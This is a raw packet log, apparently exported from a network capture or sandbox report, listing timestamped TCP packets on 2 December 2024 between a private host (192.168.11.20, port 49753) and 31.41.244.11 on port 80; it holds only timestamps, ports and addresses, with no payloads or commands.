Dec 2, 2024 11:21:09.146507025 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.146573067 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.146630049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.146662951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.146706104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.146794081 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.146884918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.146930933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.146976948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147023916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147094965 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.147135019 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147167921 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147198915 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.147209883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147253990 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147284031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147286892 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.147327900 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147339106 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.147372007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147391081 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.147402048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147525072 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.147600889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147648096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147834063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.147836924 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147882938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147928953 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.147958040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148000002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148015976 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148070097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148086071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148117065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148159981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148160934 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148236036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148289919 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148358107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148391008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148432970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148474932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148495913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148505926 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148576021 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148590088 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148637056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148667097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148679018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148710966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148812056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148823023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148855925 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148885965 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148897886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148943901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.148963928 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.148973942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.149044037 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.149081945 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.149146080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.149302006 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.149334908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.149368048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.149565935 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.465833902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.465897083 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.465929985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.465975046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466172934 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.466228962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466242075 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.466276884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466321945 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466449022 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466476917 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.466480970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466521025 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.466526031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466569901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466598988 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466644049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466670036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.466686010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466717958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466790915 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.466914892 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466958046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.466962099 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.466989040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467087030 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.467130899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.467266083 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467324018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467355967 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467401028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467444897 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467473984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467478037 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.467518091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467601061 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.467601061 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.467629910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467653990 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.467653990 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.467663050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467708111 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467751026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467780113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467813969 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.467823982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467873096 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.467909098 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467940092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.467962027 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468005896 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468019962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468126059 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468131065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468161106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468199015 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468204975 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468321085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468370914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468379974 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468404055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468447924 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468489885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468578100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468585014 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468640089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468640089 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468722105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468766928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468796015 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468838930 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.468892097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468936920 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.468975067 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469005108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469075918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.469142914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469149113 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.469189882 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469218016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469351053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469352007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.469352007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.469397068 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469460011 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469505072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469521999 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.469521999 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.469589949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469620943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469662905 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469682932 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.469795942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.469795942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.469861984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469893932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469938040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.469980955 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470010996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470043898 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470053911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470098972 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470113039 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470113039 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470128059 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470237970 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470237970 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470379114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470424891 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470453978 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470535994 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470570087 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470674038 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470730066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470763922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470808983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470853090 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470860958 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470890999 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470949888 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.470968962 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470968962 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.470994949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471107006 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471138000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471172094 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.471216917 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471277952 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.471354008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471385956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471430063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471448898 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.471472979 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471525908 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.471539021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471607924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.471609116 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.471617937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471662045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471692085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471770048 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.471798897 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.471800089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471879959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471910954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.471968889 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.472110987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472138882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.472157001 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472186089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472228050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472240925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.472270966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472290039 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.472301006 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472342968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472358942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.472438097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.472513914 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.472609997 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472644091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472687960 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472774029 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.472839117 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.472927094 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.472973108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473016977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473061085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473073006 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.473092079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473136902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473164082 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.473180056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473210096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473246098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.473319054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473364115 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473365068 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.473454952 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.473454952 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.473465919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473515034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473557949 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473587990 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473659039 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.473700047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473712921 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.473809958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473840952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473885059 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473895073 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.473931074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473961115 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.473972082 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.474026918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.474071980 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474087000 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.474118948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474149942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474282026 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.474340916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474387884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474416971 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474477053 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.474525928 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.474601984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474651098 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474680901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474724054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474739075 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.474739075 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.474769115 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474798918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474842072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.474893093 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.474989891 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.475161076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475205898 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475250959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475292921 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475325108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475326061 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.475368977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475399971 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.475411892 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475441933 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475449085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.475487947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475533009 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.475579023 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.475600004 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475631952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475647926 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.475738049 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.475858927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475904942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475934982 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475977898 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.475989103 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.475989103 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.476058960 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476090908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476166964 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.476201057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476216078 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.476248026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476277113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476320028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476352930 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.476397991 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.476475954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476491928 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.476505995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476550102 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476622105 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.476629972 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476660013 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476703882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.476833105 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.476860046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476906061 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476936102 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476979971 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.476989985 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.476989985 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.477024078 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477054119 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477096081 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477128983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.477178097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.477246046 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.477354050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.477385998 CET	80	49753	31.41.244.11	192.168.11.20
